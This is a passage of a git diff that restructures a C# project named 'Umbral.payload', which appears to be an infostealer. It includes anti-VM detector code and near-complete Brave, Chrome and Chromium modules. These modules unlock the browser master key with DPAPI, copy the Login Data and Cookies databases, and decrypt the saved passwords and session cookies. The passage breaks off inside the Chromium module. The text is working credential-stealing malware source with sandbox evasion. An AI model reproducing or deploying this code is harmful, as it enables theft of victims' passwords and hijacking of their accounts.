BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() + { + dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; + cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); + + if (iv != null) + { + cbNonce = iv.Length; + pbNonce = Marshal.AllocHGlobal(cbNonce); + Marshal.Copy(iv, 0, pbNonce, cbNonce); + } + + if (aad != null) + { + cbAuthData = aad.Length; + pbAuthData = Marshal.AllocHGlobal(cbAuthData); + Marshal.Copy(aad, 0, pbAuthData, cbAuthData); + } + + if (tag != null) + { + cbTag = tag.Length; + pbTag = Marshal.AllocHGlobal(cbTag); + Marshal.Copy(tag, 0, pbTag, cbTag); + + cbMacContext = tag.Length; + pbMacContext = Marshal.AllocHGlobal(cbMacContext); + } + } + + public void Dispose() + { + if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); + if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); + if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); + if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_KEY_LENGTHS_STRUCT + { + public int dwMinLength; + public int dwMaxLength; + public int dwIncrement; + } + + [StructLayout(LayoutKind.Sequential)] + public struct BCRYPT_OAEP_PADDING_INFO + { + public BCRYPT_OAEP_PADDING_INFO(string alg) + { + pszAlgId = alg; + pbLabel = IntPtr.Zero; + cbLabel = 0; + } + + [MarshalAs(UnmanagedType.LPWStr)] + public string pszAlgId; + public IntPtr pbLabel; + public int cbLabel; + } + } + } \ No newline at end of file diff --git a/Umbral.payload/AntiVm/Detector.cs b/Umbral.payload/Components/AntiVM/Detector.cs similarity index 97% rename from Umbral.payload/AntiVm/Detector.cs rename to Umbral.payload/Components/AntiVM/Detector.cs index cd1cce2..50b67c8 100644 --- a/Umbral.payload/AntiVm/Detector.cs +++ b/Umbral.payload/Components/AntiVM/Detector.cs @@ -1,10 +1,12 @@ using System; +using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Net; -using Umbral.payload.Utilities; +using System.Text; +using Umbral.payload.Components.Utilities; -namespace Umbral.payload.AntiVm +namespace Umbral.payload.Components.AntiVM { internal static class Detector { @@ -130,4 +132,4 @@ static private bool CheckHosting() } } } -} \ No newline at end of file +} diff --git a/Umbral.payload/Browsers/Brave.cs b/Umbral.payload/Components/Browsers/Brave.cs similarity index 96% rename from Umbral.payload/Browsers/Brave.cs rename to Umbral.payload/Components/Browsers/Brave.cs index 926724e..c202e15 100644 --- a/Umbral.payload/Browsers/Brave.cs +++ b/Umbral.payload/Components/Browsers/Brave.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Brave - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Brave() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "BraveSoftware", "Brave-Browser", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Brave + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Brave() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "BraveSoftware", "Brave-Browser", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Chrome.cs b/Umbral.payload/Components/Browsers/Chrome.cs similarity index 96% rename from Umbral.payload/Browsers/Chrome.cs rename to Umbral.payload/Components/Browsers/Chrome.cs index b3b1fb7..19aaf7e 100644 --- a/Umbral.payload/Browsers/Chrome.cs +++ b/Umbral.payload/Components/Browsers/Chrome.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Chrome - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Chrome() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Google", "Chrome", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Chrome + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Chrome() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Google", "Chrome", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Chromium.cs b/Umbral.payload/Components/Browsers/Chromium.cs similarity index 96% rename from Umbral.payload/Browsers/Chromium.cs rename to Umbral.payload/Components/Browsers/Chromium.cs index 2766e51..8583698 100644 --- a/Umbral.payload/Browsers/Chromium.cs +++ b/Umbral.payload/Components/Browsers/Chromium.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Chromium - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Chromium() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Chromium", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Chromium + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Chromium() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Chromium", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); 